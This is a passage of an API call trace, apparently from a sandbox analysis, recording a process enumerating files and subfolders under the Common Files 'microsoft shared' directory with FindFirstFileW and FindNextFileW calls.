ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x4ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.357] GetLastError () returned 0x12 [0064.357] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.357] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.357] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0064.358] GetLastError () returned 0x12 [0064.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.358] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.358] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x34a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.359] GetLastError () returned 0x12 [0064.359] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.359] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.359] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0064.359] GetLastError () returned 0x12 [0064.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.359] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.359] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x5118, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.359] GetLastError () returned 0x12 [0064.359] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.361] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e806b00, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x27422a20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8e806b00, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxC", cAlternateFileName="")) returned 1 [0064.361] GetLastError () returned 0x12 [0064.361] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.362] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.362] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0064.362] GetLastError () returned 0x12 [0064.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.363] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.363] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0064.363] GetLastError () returned 0x12 [0064.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.364] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.364] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0064.364] GetLastError () returned 0x12 [0064.364] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.364] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.364] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.7", cAlternateFileName="")) returned 1 [0064.364] GetLastError () returned 0x12 [0064.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.365] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.365] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0064.365] GetLastError () returned 0x12 [0064.365] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.365] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.365] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.365] GetLastError () returned 0x12 [0064.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.368] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.368] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0064.368] GetLastError () returned 0x12 [0064.368] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.369] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.369] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0064.369] GetLastError () returned 0x12 [0064.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.369] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.369] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.369] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.369] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.369] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aad17fd, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2aad17fd, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0064.369] GetLastError () returned 0x12 [0064.370] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.370] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.370] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cb9d2a0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x2cb9d2a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cb9d2a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0064.370] GetLastError () returned 0x12 [0064.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSClientDataMgr\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msclientdatamgr\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cb9d2a0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x2cb9d2a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cb9d2a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.371] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cb9d2a0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x2cb9d2a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cb9d2a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.371] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed06c00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x2cbc3400, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6ed06c00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x52ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0064.371] GetLastError () returned 0x12 [0064.371] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.371] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.372] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0064.372] GetLastError () returned 0x12 [0064.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.373] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.373] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0064.373] GetLastError () returned 0x12 [0064.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.373] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11873cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x11873cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x11873cc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, 